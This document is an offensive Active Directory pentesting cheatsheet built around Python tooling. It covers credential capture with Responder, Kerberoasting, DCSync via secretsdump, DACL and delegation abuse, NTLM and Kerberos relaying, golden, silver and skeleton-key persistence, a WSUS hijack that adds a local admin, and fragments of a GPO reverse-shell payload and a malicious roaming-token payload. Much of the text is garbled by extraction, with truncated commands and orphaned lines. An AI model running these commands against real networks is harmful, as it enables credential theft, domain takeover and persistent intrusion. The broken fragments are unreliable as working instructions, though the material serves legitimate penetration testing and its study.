active-directory-python-edition
active-directory-python-edition
This cheatsheet is built from numerous papers, GitHub repos and GitBook, blogs, HTB boxes and
labs, and other resources found on the web or through my experience. This was originally a private
page that I made public, so it is possible that I have copy/paste some parts from other places and I
forgot to credit or modify. If it the case, you can contact me on my Twitter @BlWasp_.
I will try to put as many links as possible at the end of the page to direct to more complete
resources.
Misc
Internal audit mindmap
Insane mindmap by @M4yFly.
Usernames wordlist
Create a wordlist of usernames from list of Surname Name
Code here
Initial Access
What to do when you are plugged on the network without creds.
NTLM authentication capture on the wire with Responder poisoning, maybe in NTLMv1 ?
net.probe on
events.ignore endpoint
events.ignore net.sniff.mdns
arp.spoof on
net.sniff on
Then sniff with Wireshark. When it is finish, save the trace in a .pcap file and extract the secrets:
Allows you to bruteforce Kerberos on user accounts while indicating whether the user account
exists or not. Another advantage over smb_login is that it doesn't correspond to the same EventId,
thus bypassing potential alerts. The script can work with 2 independent lists for users and
passwords, but be careful not to block accounts!
(empty)
password
P@ssw0rd
In case a printer (or something similar) has an LDAP account, but use the SASL authentication
family instead of SIMPLE , the classic LDAP passback exploitation with a nc server will not be
sufficient to retrieve the credentials in clear text. Instead, use a custom LDAP server that only offer
the weak PLAIN and LOGIN protocols. This Docker permits to operate with weak protocols.
CVEs
AD oriented
SPNEGO RCE (CVE-2022-37958) - No public POC for the moment
PetitPotam pre-auth (CVE-2022-26925)
If the target is not patched, this CVE can be exploited without creds.
To exploit these vulnerabilities you need to already control a computer account or have the right
to create a new one.
#Get ST
#Load a DLL hosted on the target, and specify a custom driver name
'Patapouf' 'user1:password@<target_IP>'
Zerologon (CVE-2020-1472)
The relay technique is preferable to the other one which is more risky and potentially destructive.
See in the link.
The exploits in the Metasploit framework are good for these two CVEs.
#EternalBlue
#Blue Keep
SMBGhost (CVE-2020-0796)
Be careful, this exploit is pretty unstable and the risk of BSOD is really important. The
exploit in the Metasploit framework is good for this CVE.
To exploit this CVE the RC4-MD4 encryption must be enabled on the KDC, and an AS-REP
Roastable account is needed to obtain an ST for the target.
@('msPKIDPAPIMasterKeys','msPKIAccountCredentials', 'msPKI-
CredentialRoamingTokens','msPKIRoamingTimestamp')
# Install malicious Roaming Token (spawns calc.exe)
$malicious_hex =
"25335c2e2e5c2e2e5c57696e646f77735c5374617274204d656e755c50726f6772616d735c537461727475705c6d616c69636
$attribute_string = "B:$($malicious_hex.Length):${malicious_hex}:$($user.DistinguishedName)"
# Set new msPKIRoamingTimestamp so the victim machine knows an update was pushed
$new_msPKIRoamingTimestamp = ($user.msPKIRoamingTimestamp[8..15] +
Verbose
To exploit this CVE, a controlled service account with constrained delegation to the target account
is needed.
MS14-068
goldenPac.py 'domain.local'/'user1':'password'@<DC_IP>
The exploits in the Metasploit framework are good for these three CVEs.
CVE-2023-23397
This CVE permits to leak the NTLM hash of the target as soon as the email arrives in his Outlook
mail box. This PoC generates a .msg file containing the exploit in the pop-up sound attribute. It is
up to you to send the email to the target.
Before sending the email, run Responder to intercept the NTLM hash.
Domain Enumeration
Domain policy
Current domain
#Domain policy with ldeep
Another domain
ldeep ldap -u user1 -p password -d domain.local -s <remote_LDAP_server_IP> domain_policy
Domain controller
The DNS is generally on the DC.
nslookup domain.local
User's properties
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> users -v
User hunting
Find machine where the user has admin privs
If a Pwned connection appears, admin rights are present. However, if the UAC is present it can
block the detection.
Computers enumeration
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> machines
#Full info
#Hostname enumeration
Groups enumeration
Groups in the current domain
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> groups
#Full info
Shares / Files
Find shares on the domain
nxc smb <targets> -u user1 -p password --shares
A module for searching network shares: spider_plus . Running the module without any options (on
a /24, for example) will produce a JSON output for each server, containing a list of all files (and
some info), but without their contents. Then grep on extensions (conf, ini...) or names (password ..
) to identify an interesting file to search:
Then, when identifying a lot of interesting files, to speed up the search, dump this on the attacker
machine by adding the -o READ_ONLY=False option after the -M spider_plus (but avoid /24,
otherwise it'll take a long time). In this case, NetExec will create a folder with the machine's IP, and
all the folders/files in it.
Manspider can also be used for this purpose. It permits to crawl all the shares or specific ones, and
filter on file extensions, file names, and file contents.
manspider <targets> -f passw user admin account network login logon cred -d domain -u user1 -
p password
manspider <targets> -e bat com vbs ps1 psd1 psm1 pem key rsa pub reg pfx cfg conf config vmdk
GPO enumeration
List of GPO in the domain
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> gpo
Organisation Units
OUs of the domain and their linked GPOs
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> ou
Computers within an OU
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> machines -v |grep -i
DACLs
All ACLs associated to an object (inbound)
#With samAccountName
domain.local/user1:password
#With DN
#With SID
Trusts
Trusts for the current domain
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> trusts
BloodHound
The Bloodhound-python module doesn't support all the SharpHound features (essentially about
GPOs)
DNS resolution
Sometimes the DNS resolution to find the DC doesn't work very well. dnschef can solve this
problem:
dnschef --fakeip <DC_IP> --fakedomains domain.local -q
Then, in the BloodHound command specify the DNS address with -ns 127.0.0.1 , dnschef will do
the work.
Basic usage
# Default collection
#With LoggedOn
zip
#Only collect from the DC, doesn't query the computers (more stealthy)
zip
LAPS
Machine with LAPS enabled
SOAPHound
A tool to gather LDAP information through the ADWS service with SOAP queries instead of the
LDAP one. Data can be displayed in BloodHound. This tool is presented in the Active Directory
cheatsheet.
AD Miner
AD Miner is another solution to display BloodHound data into a web based GUI. It is usefull for its
Smartest paths
feature that permits to display the, sometimes longer, but simpler compromission path (for
example, when the shortest path implies a ExecuteDCOM edge).
Lateral Movement
WinRM
evil-winrm -u user1 -p password -i <target_IP>
evil-winrm permits to open an interactive WinRM session where it is possible to upload and
download items between the target and the attacker machine, load PowerShell scripts, etc.
SMB
From one computer to another one
psexec.py domain.local/user1:password@<target>
WMI
wmiexec.py domain.local/user1:password@<target>
ShellBrowserWindow DCOM object
dcomexec.py domain.local/user1:password@<target>
Credentials gathering
Check RunAsPPL
Check if RunAsPPL is enabled in the registry.
#In a PDF with LSA_reg2pdf, exec get_pdf, and get_bootkey on your host to parse the PDF
.\get_pdf.exe 1
python3 get_bootkey.py
NT\CurrentVersion\WinLogon'
#Make a DCSync attack on all the users (NT hashes, Kerberos AES key, etc)
secretsdump.py domain.local/user1:password@<DC>
#Attempt to dump all the users' hashes even the ones in the Denied list
#Low privileged credentials are needed in the command for the SAMR enumeration
domain.local/user1:password@RODC-server
server.domain.local LIST
#Backup the private key and the certificate of the Root CA, and forge Golden Certificates for
#Authenticate with all the certificate via PKINIT to obtain the TGTs and extract the hashes
with UnPAC-The-Hash
DonPAPI.py domain.local/user1:password@<target>
Get-GPPPassword.py domain.local/user1:password@<target>
#Specific share
#GPP autologin
Token manipulation
Token impersonation with command execution and user
addition
Blog here.
<result_folder> <targets>
Kerberos authentication
Request a TGT or a ST
getTGT.py -dc-ip <DC_IP> domain.local/user1:password
Globally, all the Impacket tools and the ones that use the library can authenticate via Kerberos
with the -k -no-pass command line parameter instead of specifying the password. For ldeep it's
-k .
For NetExec it is -k with credentials to perform the whole Kerberos process and authenticatewith
the ticket. If a .ccache ticket is already in memory, it is -k --use-kcache .
For evil-winrm it's -r <domain> --spn <SPN_prefix> (default 'HTTP'). The realm must be specified
in the file /etc/krb5.conf using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com }
ADIDNS poisoning
How to deal with the Active Directory Integrated DNS and redirect the NTLM authentications to
us
If the wilcard record (*) doesn't exist, we can create it and all the authentications will arrive on
our listener, except if the WPAD configuration specifically blocks it.
Wildcard attack
The char * can't be added via DNS protocol because it will break the request. Since we are in an
AD we can modify the DNS via LDAP:
<DNS_IP>
# disable a node
# remove a node
WSUS
Spoof the WSUS server and hijack the update if the updates are pushed through HTTP and not
HTTPS
'HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v wuserver'
command '/accepteula /s cmd.exe /c "net user usser1 Password123! /add && net localgroup
net.probe on
events.ignore endpoint
events.ignore net.sniff
any.proxy on
arp.spoof on
net.sniff on
Now wait for update verification or manually trigger with a GUI access on the machine.
Domain Privesc
Kerberoast
The Kerberos service ticket (ST) has a server portion which is encrypted with the password hash of
service account. This makes it possible to request a ticket and do offline password attack.
Password hashes of service accounts could be used to create Silver Tickets.
Force RC4 downgrade even on AES enabled targets to obtain tickets more easy to crack:
pypykatz kerberos spnroast -d domain.local -t <target_user> -e 23
'kerberos+password://domain.local\user1:password@<DC_IP>'
"domain.local"/
With MitM
If no principal without pre-authentication are present, it is still possible to intercept the AS-REQ
requests on the wire (with ARP spoofing for example), and replay them to kerberoast.
AS-REP Roasting
If a user's UserAccountControl settings have "Do not require Kerberos
preauthentication" enabled ( UF_DONT_REQUIRE_PREAUTH ) -> Kerberos preauth is disabled ->
it is possible to grab user's crackable AS-REP and brute-force it offline.
With sufficient rights (GenericWrite or GenericAll), Kerberos preauth can be disabled.
Enumerate users
GetNPUsers.py -dc-ip <DC_IP> domain.local/user1:password
Request AS-REP
GetNPUsers.py -dc-ip <DC_IP> -request -format john domain.local/user1:password
DACLs attacks
DACLs packages
Owns object
WriteDacl
GenericAll
GenericWrite
AllExtendedRights
WriteOwner
GenericWrite
Self
WriteProperty
AllExtendedRights
User-Force-Change-Password
DS-Replication-Get-Changes
DS-Replication-Get-Changes-All
DS-Replication-Get-Changes-In-Filtered-Set
On any objects
WriteOwner
With this rights on a user it is possible to become the "owner" (Grant Ownership) of the account
and then change our ACLs against it
'domain.local'/'user1':'password'
dacledit.py -action write -target user2 -principal user1 -rights ResetPassword -ace-type
WriteDacl
With this rights we can modify our ACLs against the target, and give us GenericAll for example
dacledit.py -action write -target user2 -principal user1 -rights FullControl -ace-type
In case where you have the right against a container or an OU, it is possible to setup the
Inheritance flag in the ACE. The child objects will inherite the parent container/OU ACE (except if
the object has AdminCount=1 )
On an user
WriteProperty
ShadowCredentials
user2
Targeted Kerberoasting
We can then request a ST without special privileges. The ST can then be "Kerberoasted".
#Set SPN on all the possible users, request the ticket and delete the SPN
User-Force-Change-Password
With enough permissions on a user, we can change his password
On a computer
WriteProperty
ShadowCredentials
filename user2
Kerberos RBCD
AllExtendedRights
ReadLAPSPassword
ReadGMSAPassword
On a RODC
GenericWrite
Obtain local admin access
Change the managedBy attribute value and add a controlled user. He will automatically gain admin
rights.
powerview domain.local/user1:[email protected]
RevealOnDemandGroup='CN=Administrator,CN=Users,DC=domain,DC=local'
WriteProperty
WriteProperty on the msDS-NeverRevealGroup and msDS-RevealOnDemandGroup lists is sufficient to
modify them. Obtain the krbtgt_XXXXX key is still needed to forge RODC Golden Ticket.
powerview domain.local/user1:[email protected]
RevealOnDemandGroup='CN=Administrator,CN=Users,DC=domain,DC=local'
On a group
WriteProperty/AllExtendedRights/GenericWrite Self
With one of this rights we can add a new member to the group
net rpc group addmem <group> user2 -U domain.local/user1%password -S <DC_IP>
On GPO
WriteProperty on a GPO
We can update a GPO with a scheduled task for example to obtain a reverse shell
([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream
All the explains about this attack are presented here. The attack will defer if the final target is a
user or a machine account.
Machine
Create a new Windows Server virtual machine connected to the network and install the
domain controler features on it. Register it under a subdomain of the current domain (
evil.domain.local )
Create an empty GPO on this DC
Reset the machine account password (to remove the unprintable characters)
Reset-ComputerMachinePassword
Stop the antivirus and dump the LSASS to retrieve the password
lsassy -d 'evil.domain.local' -u administrator -p password <evil_DC_IP>
Create a new computer account on the target domain with a LDAP SPN and the same
password as the created DC
'domain.local'/user1:password
Create a new DNS record on the target domain to point the evil subdomain to the
attacker machine
<DC_IP>
Configure the OUned.py tool with the following example. The [SMB] section must be
setup to embedded and just a share name
Run OUned.py
User
Similarly, create an evil domain controler and a computer account with a LDAP SPN
Create a second evil DC with the same domain as the target domain ( domain.local ). As
the first evil DC, reset and retrieve its password
Create a new SMB share on the second evil DC
Create a new computer account on the target domain with the HOST SPN and add a DNS
record resolving this machine to the attacker IP
'domain.local'/user1:password
<DC_IP>
Configure the OUned.py tool with the following example. The [SMB] section must be
setup to forwarded with the other information setup
Run OUned.py
sudo python3 OUned.py --config config.ini
On the domain/forest
DS-Replication-Get-Changes + DS-Replication-Get-Changes-All
We can DCSync
DS-Replication-Get-Changes + DS-Replication-Get-Changes-In-Filtered-
Set
It is possible to realize a DirSync attack, as presented here. This attack is presented in the Active
Directory cheatsheet.
Account Operators
The members of this group can add and modify all the non admin users and groups. Since LAPS
ADM and LAPS READ are considered as non admin groups, it's possible to add an user to them,
and read the LAPS admin password. They also can manage the Server Operators group
members which can authenticate on the DC.
DnsAdmins
It is possible for the members of the DNSAdmins group to load arbitrary DLL with the
privileges of dns.exe (SYSTEM).
In case the DC also serves as DNS, this will provide us escalation to DA.
Need privileges to restart the DNS service.
\\<share_SMB>\rev.dll"
Schema Admins
These group members can change the "schema" of the AD. It means they can change the ACLs on
the objects that will be created IN THE FUTUR. If we modify the ALCs on the group object, only
the futur group will be affected, not the ones that are already present.
Backup Operators
Can generally log in on any machines of the domain.
C:\tmp\tmp.txt /E"
Create a script.txt file to backup with Diskshadow and upload it on the target
createX
end backupX
\\<attacker_IP>\share
Found the interesting GPO with Get-NetGPO . For example Default Domain Policy in the
Domain Controller policy
Get the file at the path
\\dc.domain.local\SYSVOL\domain.local\Policies\{GPO_ID}\MACHINE\Microsoft\Windows
NT\SecEdit\GptTmpl.inf and add whatever you want in it
Write the file with robocopy:
"\\dc.domain.local\SYSVOL\domain.local\Policies\{GPO_ID}\MACHINE\Microsoft\Windows
Key Admins
Members of this group can perform Shadow Credentials attacks against any objects, including the
domain controllers.
AD Recycle Bin
Members of this group can recover deleted objects from the Active Directory, just like in a recycle
bin for files, when the feature is enabled. These objects can sometimes have interesting properties.
Responder
Change the authentication challenge to 1122334455667788 in the Responder conf file in order to
obtain an easily crackable hash if NTLMv1 is used.
Catch all the possible hashes on the network (coming via LLMNR, NBT-NS, DNS spoofing, etc):
Force NTLM downgrade to NTLMv1 (will break the authentications if v1 is disabled on the machine):
NAME=<file_name>
NAME=<file_name>
#To clean
MITM6
Spoof DHCPv6 responses to provide evil DNS config. Usefull to combine with NTLM or Kerberos
Relay attacks. Here for an NTLM relay:
#PetitPotam
#PrinterBug
#ShadowCoerce
Multi coerce
Try all the techniques above in one command with this.
PrivExchange
Coerce Exchange server authentication via PushSubscription (now patched):
domain.local
MSSQL Server
With xp_dirtree.
WebClient Service
If this service runs on the target machine, a SMB authentication can be switched into an HTTP
authentication (really useful for NTLM relay).
webclientservicescanner domain.local/user1:password@<IP_range>
If yes, coerce the authentication to the port 80 on the attacker IP. To bypass trust zone restriction,
the attacker machine must be specified with a valid NETBIOS name and not its IP. the FQDN can
be obtained with Responder in Analyze mode.
responder -I interface_to_use -A
ntlmrelayx
If only SMBv2 is supported, -smb2support can be used. To attempt the remove the MIC if NTLMv2
is vulnerable to CVE-2019-1040, --remove-mic can be used.
Enumeration
#With attempt to dump possible GMSA and LAPS passwords, and ADCS templates
SOCKS
Creds dump
ntlmrelayx.py -t smb://target
ntlmrelayx.py -t dcsync://dc
Privesc
#Create a new computer account through SMB through the SAMR named pipe
(https://github.com/SecureAuthCorp/impacket/pull/1290)
Kerberos Delegation
#Create a new computer account through LDAP with StartTLS and enabled RBCD
Shadow Credentials
#Attempts to open a socks and write loot likes dumps into a file
Targeting GPO
Attack GPO from an unauthenticated point of view (by intercepting a NTLM authentication) cannot
be performed only through LDAP, since the Group Policy Template needs to be modified via SMB.
Read this article to better understand.
First, use ntlmrelayx to obtain full rights on the GPC via LDAP for a controlled account (or create a
new one)
nc 127.0.0.1 11000
--rogue-smbserver-share 'evil'
krbrelayx
To relay authentication from a mitm6 DNS spoofing to ADCS:
Then, coerce the target to the registered record, with PetitPotam for example, and relay:
If the relayed authentication is privileged, this will dump the SAM and LSA:
krbrelayx.py -t smb://target.domain.local
krbjack
A tool to perform DNS updates thanks to the ZONE_UPDATE_UNSECURE flag in the DNS configuration.
Perform a MiTM between any client and a target machine by changing its DNS resolution, forward
all the packets to the specified ports, and steal the AP_REQ packets on the fly to reuse them.
The port list is really important and must match all the open ports on the target to perform all
thge forward. If not, a DOS will occure since clients will not be able to reach the services.
MiTM and exec an executable on the target (SMB signing must be not required)
Just perform DNS poisoning without port forwarding and use the MiTM with ntlmrelayx.
Be careful with the DOS risk
Kerberos Delegations
Kerberos delegations can be used for local privesc, lateral movement or domain privesc. The main
purpose of Kerberos delegations is to permit a principal to access a service on behalf of another
principal.
Unconstrained Delegation: the first hop server can request access to any service on
any computer
Constrained Delegation: the first hop server has a list of service it can request
Unconstrained delegation
A user request a TGT to the DC
The user requests a ST for a service on a computer which is in Unconstrained Delegation
The DC places user's TGT inside ST. When presented to the server with unconstrained
delegation, the TGT is extracted from ST and stored in LSASS. This way the server can
reuse the user's TGT to access any other resource as the user
This behavior can be abused by extracting the TGT from the previous users stored in
LSASS
Since the principal is in Unconstrained Delegation, when the machine account will send the ST
to the SPN it will automatically add a TGT in it, and because the SPN is pointing to us with the DNS
record, we can retrieve the ST, decipher the ciphered part with the user password (the SPN is
setup on the user, so the ST is ciphered with his password), and retrieve the TGT.
<target_IP>
Constrained delegation
In this situation, the computer in delegation has a list of services where it can delegate an
authentication. This is controlled by msDS-AllowedToDelegateTo attribute that contains a list of SPNs
to which the user tokens can be forwarded. No ticket is stored in LSASS.
To impersonate the user, Service for User (S4U) extension is used which provides two extensions:
Service for User to Self (S4U2self) - Allows a service to obtain a forwardable ST to itself
on behalf of a user with just the user principal name without supplying a password. The
service account must have the TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION –
T2A4D UserAccountControl attribute.
Service for User to Proxy (S4U2proxy) - Allows a service to obtain a ST to a second
service on behalf of a user.
export KRB5CCNAME=./Administrator.ccache
Without protocol transition
In this case, it is not possible to use S4U2self to obtain a forwardable ST for a specific user. This
restriction can be bypassed with an RBCD attack detailled in the following section.
With RBCD, this is the resource machine (the machine that receives delegation) which has a list of
services that can delegate to it. This list is specified in the attribute
msds-allowedtoactonbehalfofotheridentity and the computer can modified its own attribute (really
usefull in NTLM relay attack scenario).
Requirements
The DC has to be at least a Windows Server 2012
Write rights on the target machine (GenericAll, GenericWrite, AllExtendedRights)
Target computer object must not have the attribute msds-
allowedtoactonbehalfofotheridentity set
Standard RBCD
The attaker has compromised ServiceA and want to compromise ServiceB. Additionnally he has
sufficient rights to configure msds-allowedtoactonbehalfofotheridentity on ServiceB.
domain.local/user1:password
#Verify property
export KRB5CCNAME=./Administrator.ccache
domain.local/ControlledComputer$:ComputerPassword
Use the S4USelf function with the fake machine (on an arbitrary SPN) to create a
forwardable ticket for a wanted user (not protected)
Use the S4UProxy function to obtain a ST for the impersonated user for the wanted
service on the target machine
domain.local/ControlledComputer$:ComputerPassword
export KRB5CCNAME=./Administrator.ccache
Skip S4USelf
Attacker has compromised Service A, has sufficient ACLs against Service B to configure
RBCD, and wants to attack Service B
By social engineering or any other solution, an interesting victim authenticates to Service
A with a ST
Attacker dumps the ST on Service A ( sekurlsa::tickets )
Attacker configures RBCD from Service A to Service B as above
Attacker performs S4UProxy and bypass S4USelf by providing the ST as evidence
Reflective RBCD
With a TGT or the hash of a service account, an attacker can configure a RBCD from the service to
itself, and run a full S4U to access to access the machine on behalf of another user.
domain.local/ServiceA$
<DC_IP> domain.local/ServiceA$
With the target TGT it is possible to realise a S4USelf request for any user and obtain a ST for the
service. In case where the needed user is protected against delegation, S4USelf will still work, but
the ST is not forwardable (so no S4UProxy possible) and the specified SPN is invalid...however, the
SPN is not in the encrypted part of the ticket. So it is possible to modify the SPN and retrieve a
valid ST for the target service with a sensitive user (and the ST PAC is well signed by the KDC).
#RBCD from A to B
Configure the machine account to trust the user account you control (NTLM Relay, with
the machine account's creds,...)
Obtain a TGT for the user via pass-the-hash and extract the session key from it with this
PR:
Now, change the user's long term key (his RC4 NT hash actually) to be equal to the TGT
session key. The ST sent in the S4UProxy will be encrypted with the session key, but the
KDC will try to decipher it with the user's long term key, this is why the LT key must be
equal to the session key (WARNING !!! The user's password is now equal to an
unknown value, you have to use a sacrificial account to realise this attack).
Everything is explained here.
Realize the S4USelf request with a U2U request. If U2U is not used, the KDC cannot find
the account's LT key when a UPN is specified instead of a SPN. Then, use the ticket
obtained in the U2U S4USelf request (ciphered with the session key), to perform a
S4UProxy request. Use this PR to do it:
KRB5CCNAME='user1.ccache'
'domain.local'/'user1'
Finally, use the obtained ST to dump the machine LSA and SAM registers with
secretsdump .
Create a DNS record in order to be able to leak the NTLM hash externally
Use the xp_dirtree (or xp_fileexist ) function to the created DNS record on @80 . This
will force the authentication and leak the hash
Relay the machine hash to the LDAP server to add a controlled account (with a SPN for
the further S4USelf request) to the msDS-AllowedToActOnBehalfOfOtherIdentity of the target
machine
Now we can ask a ST for a user we want to impersonate for a service on the machine
#https://gist.github.com/3xocyte/4ea8e15332e5008581febdb502d0139c
domain.local/<controlledAccountWithASPN>password
Domain Persistence
Sapphire ticket
Similar to Diamond Ticket, but instead of decipher, modify, recipher and resign the PAC on the
fly, this technique inject a fully new one PAC obtained via a S4USelf + U2U attack in the requested
ticket. Full explains here.
Diamond ticket
Blog here
For the moment, the ticketer.py approach is not really attractive and the Sapphire Ticket
attack is preferable, or use Rubeus on Windows.
Golden ticket
Dump krbtgt hash with DCSync
secretsdump.py -just-dc-user 'krbtgt' -just-dc-ntlm domain.local/administrator:password@<DC>
Create TGT
ticketer.py -domain domain.local -domain-sid <domain_SID> -nthash <krbtgt_hash> -user-id
Silver ticket
ticketer.py -domain domain.local -domain-sid <domain_SID> -spn 'cifs/target' -nthash
Another solution, if you don't have the NT hash or the AES keys of the service but you have a TGT
for the service account, is to impersonate an account via a request for a service ticket through
S4USelf to an alternative service (and the opsec is better since the PAC is consistent):
export KRB5CCNAME=./target_TGT.ccache
pass "domain.local"/'target$'
GoldenGMSA
This attack is presented in the Active Directory cheatsheet.
Skeleton key
nxc smb <DC_IP> -u 'Administrator' -p 'password' -M mimikatz -o COMMAND='misc::skeleton'
Now, it is possible to access any machine with a valid username and password as "mimikatz"
DSRM
DSRM is Directory Services Restore Mode
The local administrator on every DC can authenticate with the DSRM password
It is possible to pass the hash of this user to access the DC after modifying the DC
configuration
Custom SSP
SSP are DDLs that provide ways to authenticate for the application. For example Kerberos, NTLM,
WDigest, etc. Mimikatz provides a custom SSP that permits to log in a file in clear text the
passwords of the users that authenticate on the machine.
-vt REG_MULTI_SZ
DACLs - AdminSDHolder
AdminSDHolder is a solution that compares the ACLS of the objects with AdminCount=1 with a list of
ACLs. If the ACLs of the objects are different, they are overwritten. The script run normally every
hour.
Attack
With write privs on the AdminSDHolder object, it can be used for persistence by adding a
user with Full Permissions to the AdminSDHolder object for example.
When the automatic script will run, the user will be added with Full Control to the AC of
groups like Domain Admins.
dacledit.py -action write -target-dn 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' -
'domain.local'/'administrator':'password'
domain.local/user1:password
Cross-Trust Movement
Attacks against trusts are generally more efficient from a Windows machine with Mimikatz and
Rubeus.
raiseChild.py child.domain.local/Administrator:password
#PSEXEC on a machine
Across forest
SID History attacks
If there is no SID filtering, it is possible to specify any privileged SID of the target forest in the SID
History field. Otherwise, with partial filtering, an RID > 1000 must be indicated.
domain.local/Administrator:password@<DC>
If no filtering : forge a referral ticket or an inter-realm Golden Ticket and request for a ST
ticketer.py doesn't work really well with inter-realm TGT, it's preferable to use Mimikatz for this
one.
#Referral ticket
export KRB5CCNAME=./ticket.ccache
targetDomain.local/user
If there is SID filtering, same thing as above but with RID > 1000 (for example,
Exchange related groups are sometimes highly privileged, and always with a RID >
1000). Otherwise, get the foreignSecurityPrincipal . These users of the current domain
are also members of the trusting forest, and they can be members of interesting groups:
'(objectclass=foreignSecurityPrincipal)' | jq '.[].objectSid'
'(objectSid=<object_SID>)'
Then, it is possible to forge an referral ticket for this user and access the target forest with its
privileges.
TGT delegation
By default, Domain Controllers are setup with Unconstrained Delegation (which is necessary in an
Active Directory to correctly handle the Kerberos authentications).
If TGT delegation is enabled in the trust attributes, it is possible to coerce the remote Domain
Controller authentication from the compromised Domain Controller, and retrieve its TGT in the ST.
If TGT delegation is disabled, the TGT will not be added in the ST, even with the Unconstrained
Delegation.
Additionally, Selective Authentication must not be enabled on the trust, and a two ways trust
is needed.
If a non-transitive trust is setup between domains from two different forests (domain A and B for
example), users from domain A will be able to access resources in domain B (in case that B trusts
A), but will not be able to access resources in other domains that trust domain B (for example,
domain C). Non-transitive trusts are setup by default on External Trusts for example.
However, there is a way to make non-transitive trusts transitive. Full explains here.
For this example, there is an External Trust between domains A and B (which are in different
forests), there is a Within Forest trust between domains B and C (which are in the same forest),
and a Parent-child trust between domains C and D (so, they are in the same forest). We have a
user (userA) in domain A, and we want to access services in domain D, which is normally
impossible since External Trusts are non-transitive.
export KRB5CCNAME=./userA.ccache
Then, request a referral for the domain B with the previously obtained TGT (for the
moment, everything is normal). This referral can be used to access resources in domain
B as userA
getST.py -k -no-pass -spn "krbtgt/domainB.local" -dc-ip <DC_A_IP> domainA.local/userA
With this referral, it is not possible to request for a ST in domain C since there is no
transitivity. However, it is possible to use it to ask for a "local" TGT in domain B for userA.
This will be a valid TGT in domain B and not a referral between A and B
Now, this TGT can be reused to ask for a referral to access domain C, still from domain
A with user A
This referral for domain C can be, in turn, used to access domain D with the same technique,
and so on. This attack permits to pivot between all the trusts (and consequently the domains) in
the same forest from a domain in a external forest.
However, it is not possible to directly use this technique to access a domain in another forest that
would have a trust with domain D. For example, if domain D has an External Trust with
domain E in a third forest, it will be not possible to access domain E from A.
A valid workaround is to use the referral for domain D to request a ST for LDAP in domain D, and
use it to create a machine account. This account will be valid in domain D and will be used to
restart the attack from domain D (like with user A) and access domain E.
#Then, ask for a TGT and replay the attack against domain E
ShadowPrincipalSid"'
A trust attribute of 1096 is for PAM ( 0x00000400 ) + External Trust ( 0x00000040 ) + Forest Transitive
( 0x00000008 ).
These users can access the production forest through the trust with classic workflow (PSRemoting,
RDP, etc), or with SIDHistory injection since SIDFiltering in a PAM Trust.
If it the case, by default the CAS will automatically replicate all the SCCM site admins between all
the sites. This means, if you have takeover one site and added a controlled user as SCCM site
admin, he will be automatically added as a site admin on all the other site by the CAS, and you can
use him to pivote between the sites.
Full explains here.
One to start RPC servers with SYSTEM privileges and specify attributes to be modified
/attribute:<attribute_to_modify> /value=<value_to_set>"'
And second with enough privileges (DA or otherwise) to push the values :
Modify primaryGroupID
lsadump::dcshadow /object:user1 /attribute:primaryGroupID /value:519
References
The Hacker Recipes
Pentester Academy
PayloadAllTheThings
InternalAllTheThings
Pentestlab.blog
HackTricks
Haax
SpecterOps
MDSec
Synacktiv
BloodHound
Cube0x0
Dirk-jan Mollema
Snovvcrash
Exploit.ph
Adam Chester
Olivier Lyak
Masky release
SOAPHound
ThievingFox
Revision #34
Created 22 June 2022 15:46:48 by BlackWasp
Updated 4 January 2025 19:06:25 by BlackWasp